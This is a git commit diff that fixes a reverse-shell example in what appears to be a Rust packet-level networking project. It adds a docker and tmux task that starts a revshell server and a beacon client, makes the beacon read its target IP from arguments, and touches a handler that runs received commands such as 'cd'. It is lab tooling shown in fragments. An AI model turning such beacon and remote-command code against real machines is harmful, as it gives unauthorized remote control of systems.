fix: fixing revshell example and its routes

This commit is contained in:
Andrew Rioux
2023-05-12 01:16:52 -04:00
parent 4123175eda
commit 5ab43a10fe
4 changed files with 30 additions and 9 deletions

View File

@@ -5,4 +5,19 @@ script = '''
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
tmux split-window -h 'docker-compose run examples_bindshell_client'
tmux -2 attach -t bindshell
'''
[tasks.examples-revshell-run]
workspace = false
dependencies = ["build"]
script = '''
set -eux
tmux new-session -d -s revshell 'docker-compose up examples_revshell_server'
sleep 1
IP=$(docker-compose exec examples_revshell_server ip a show eth0 | awk '/inet/{print $2}' | awk -F'/' '{print $1}')
echo $IP
sleep 1
COMMAND="target/debug/ex-revshell-beacon $IP"
tmux split-window -h "$COMMAND"
tmux -2 attach -t revshell
'''

View File

@@ -149,7 +149,7 @@ async fn handle_command(
let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
Ok(["exit"]) => {
send_exit.send(()).await;
let _ = send_exit.send(()).await;
return Ok(());
}
Ok(["cd", dir]) => {

View File

@@ -1,4 +1,4 @@
use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr};
use std::{collections::HashMap, net::Ipv4Addr};
use anyhow::anyhow;
use tokio::time::{interval, Duration};
@@ -9,12 +9,7 @@ use pcap_sys::packets::*;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
print!("Please enter the target IP (found with `docker-compose exec examples_revshell_server ip a`, e.x. 172.19.0.2): ");
std::io::stdout().flush()?;
let stdin = std::io::stdin();
let mut target = String::new();
stdin.read_line(&mut target)?;
let target = target.trim().parse::<Ipv4Addr>()?;
let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::<Ipv4Addr>()?;
let (ifname, src_mac, dst_mac, srcip) = {
let socket = netlink::Socket::new()?;